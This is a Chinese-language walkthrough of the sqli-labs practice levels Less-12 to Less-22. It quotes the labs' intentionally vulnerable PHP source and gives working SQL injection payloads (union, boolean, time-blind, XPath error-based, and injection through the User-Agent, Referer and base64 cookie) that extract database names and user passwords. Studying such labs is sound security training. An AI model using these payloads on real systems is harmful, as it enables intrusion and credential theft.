sqli-labs解题思路(Less-12到Less-22)
Less-12
与Less-11一样随机录入,数据包发送到BP的重放器,探测闭合符是 ' 还是 "
' 登陆失败,但没有错误信息,更换"
" 有错误信息提示并且发现有) ,追加) -- 1
又没有信息了,我的做法是先看看查询列数是怎么是输出,3有数据库的报错信息
2没有
这里可以使用联合注入: union selet 1,2 或者追加 or 1=1 进行布尔注入,因为前边能爆出错误信息,证明报错注入可行,也可以几许操作看看其他方式能不能注入
两个都可以,接下来可以正常爆库,或者使用报错注入
union select database(),2 -- 1
union select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x -- 1
完成
Less-13
数据发到重放器,探测闭合符方式与Less-13一样,区别是 or 1=1的时候页面没有数据
所以本关只能使用报错注入讲信息带出
union select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x -- 1
Less-14
操作同Less-13,先探测闭合符 ,' 只有登陆失败提示
" 有数据的报错返回
其他步骤与Less-13相同
union select count(*),concat((select database()),floor(rand(0)*2))x,3 from information_schema.tables group by x -- 1
Less-15
操作同Less-14,先探测闭合符 ,' 和 " 都没有提示,只有登陆成功和失败的图标在变化
尝试布尔注入 or if(1=1,1,1/0) -- 1
还可以用时间盲注 admin' and if(1=1,1,sleep(3)) -- 1
前提需要知道uname,不知道uname就需要用or做时间盲注,数据过多使用or做时间盲注会触发全表扫描,sleep时间就不是原来设置的n秒,而是n乘m(表数据量) + 原本应答时间,举个例子:数据库有10000条数据,sleep的时间是3秒,原本应答时间是2秒,那么用or做时间注入,一次请求将需要30002秒也就是8各多小时,所以时间盲注禁止使用 or 。
Less-16
同样的探测闭合符,布尔注入一把刷,方法与Less-15一样,区别是本关的闭合符是")
Less-17
本关是修改密码的,业务上我们是知道了登陆账户,所以使用登陆账户名填入已知的。这里是修改密码的业务,最好看一下源码,
源码:
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); function check_input($value) { if(!empty($value)){ // truncation (see comments) $value = substr($value,0,15); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])){ //making sure uname is not injectable $uname=check_input($_POST['uname']); $passwd=$_POST['passwd']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname."\n"); fwrite($fp,'New Password:'.$passwd."\n"); fclose($fp); // connectivity @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); //echo $row; if($row) { //echo '<font color= "#0000ff">'; $row1 = $row['username']; //echo 'Your Login name:'. $row1; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); echo "<br>"; if (mysql_error()) { echo '<font color= "#FFFF00" font size = 3 >'; print_r(mysql_error()); echo "</br></br>"; echo "</font>"; } else { echo '<font color= "#FFFF00" font size = 3 >'; //echo " You password has been successfully updated " ; echo "<br>"; echo "</font>"; } echo '<img src="../images/flag1.jpg" />'; //echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font size="4.5" color="#FFFF00">'; //echo "Bug off you Silly Dumb hacker"; echo "</br>"; echo '<img src="../images/slap1.jpg" />'; echo "</font>"; } } ?>源码中可以看出业务是先通过用户名查数据,有数据再继续修改密码,无数据页面就展示图片。而且修改语句是update ..set password.. where 在password位置进行注入的时候,一不小心会把所有用户的密码全都改掉。所以这里使用 Xpath 报错注入,使用报错阻止事物提交,保险起见注入的sql后再跟一个 and' 不使用 -- 进行注入
Xpath 报错注入有两种:
1、查询 extractvalue(XML_document, XPath_string);
语法:
extractvalue('<book><author>root</author></book>','/book/author')
参数介绍:
# XML_document:目标xml文档
# XPath_string:xml 路径
2、修改 updatexml(XML_document, XPath_string, new_value);
语法:
updatexml('root', '/book/author', 'mk')
参数介绍:
# XML_document:目标xml文档
# XPath_string:xml 路径
# new_value:更新的内容
查询爆库:
1' and extractvalue(1,concat(0x7e,database())) and'
爆表:
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))) and'
表数过多时,需要优化查询sql
爆数据:
1' and extractvalue(1,concat(0x7e,(select group_concat(x.username,':',x.password) from (select username,password from users limit 2)x))) and'
同上数据过多时记得优化sql,本关页面展示字符有限
修改爆库:
爆表、爆数据与查询的爆表、爆数据一样逻辑
Less-18
题目给的提示从heander的uagent入手,最直接的方法,从源码上入手
<?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,20); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; } $uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR']; echo "<br>"; echo 'Your IP ADDRESS is: ' .$IP; echo "<br>"; if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname = check_input($_POST['uname']); $passwd = check_input($_POST['passwd']); //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Agent:'.$uname."\n"); fclose($fp); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert); //echo 'Your IP ADDRESS is: ' .$IP; echo "</font>"; //echo "<br>"; echo '<font color= "#0000ff" font size = 3 >'; echo 'Your User Agent is: ' .$uagent; echo "</font>"; echo "<br>"; print_r(mysql_error()); echo "<br><br>"; echo '<img src="../images/flag.jpg" />'; echo "<br>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; } } ?>从源码中看出,想要从用户名和密码进行注入不太可能,因为两个参数都防注入处理,直接保存的参数只有IP和User Agent两个字段,IP在入参中没有字段,只能从User Agent入手。理解了逻辑开始实操,依旧是闭合符探测起手
闭合符探测成功,并且看到报错信息在User agent下边输出,保存的sql语句中有三个字段,第一个参数闭合以后多出来一个' 注入的sql应该以' 结尾,使用 or 1=‘1 结尾进行爆库
很明显' and if(length(database()) = 1,1,1/0) or 1='1 没甚用,并没有执行if 还有 length函数
那只能使用Less-17的Xpath 报错注入,直接爆库
' and extractvalue(1,concat(0x7e,database())) or 1='1
成功
Less-19
登陆以后看到展示的referer信息
这里我就不粘贴源码了,从源码得出referer是取得请求中的referer进行保存的,并且业务逻辑与Less-18类似,那么就在referer出进行闭合符探测
探测成功,直接爆库
完成
Less-20
先登录,通过抓包发现登陆以后进行了页面跳转,并且跳转请求中多了cookie的字段。尝试从cookie字段探测闭合符。
页面有了错误信息,尝试使用 -- 1
admin' -- 1
并且爆出库名
' union select 1,database(),3 -- 1
完成
Less-21
登陆=》BP抓包=》发到重放,发现cookie中的unima被编码过,取出发到编码器
%3D 被URL解码成 = ,复制下方URL解码后的数据再次使用base64再次解码
得到admin 登陆的用户名,现在增加 ' 后进行base64编码,然后探测闭合符
复制下方base64的编码,替换uname的值,需要保留%3D
页面有报错,追加 -- 1
还再报错,证明闭合符有问题,追加) 使用 admin’) -- 1
正常了,order by爆查询字段数量 ') order by 4 -- 1
4错3对
查看字段展示位置,') union select 1,2,3 -- 1
后续使用Less-1的sql base64编码后进行爆库爆表即可
Less-22
方法与Less-21相同,区别在Less-22闭合符使用的是 " 。
使用 " union select 1,2,3 -- 1 进行base64编码后检测查询字段展示位置
